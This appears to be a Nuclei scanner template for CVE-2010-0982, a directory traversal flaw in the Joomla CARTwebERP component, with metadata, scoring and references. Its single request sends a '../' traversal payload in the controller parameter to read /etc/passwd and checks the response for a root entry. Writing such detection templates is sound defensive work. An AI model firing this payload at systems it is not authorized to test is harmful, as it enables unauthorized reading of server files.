id: CVE-2010-0982

info:
  name: Joomla! Component com_cartweberp - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the CARTwebERP (com_cartweberp) component 1.56.75 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Allows an attacker to read arbitrary files on the server, leading to potential information disclosure and further exploitation.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/10942
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0982
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2010-0982
    cwe-id: CWE-22
    epss-score: 0.06238
    epss-percentile: 0.92832
    cpe: cpe:2.3:a:joomlamo:com_cartweberp:1.56.75:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamo
    product: com_cartweberp
  tags: cve2010,cve,joomla,lfi,edb,joomlamo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_cartweberp&controller=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100881adb511f2d1a558d96354486d4b6a20c58c102898d46a7e659ae9197290e49022100916a4adc36ea12aadfd6f4f62ee7efd8018063dfcd4f3ecede5545184427bdd4:922c64590222798bb761d5b6d8e72950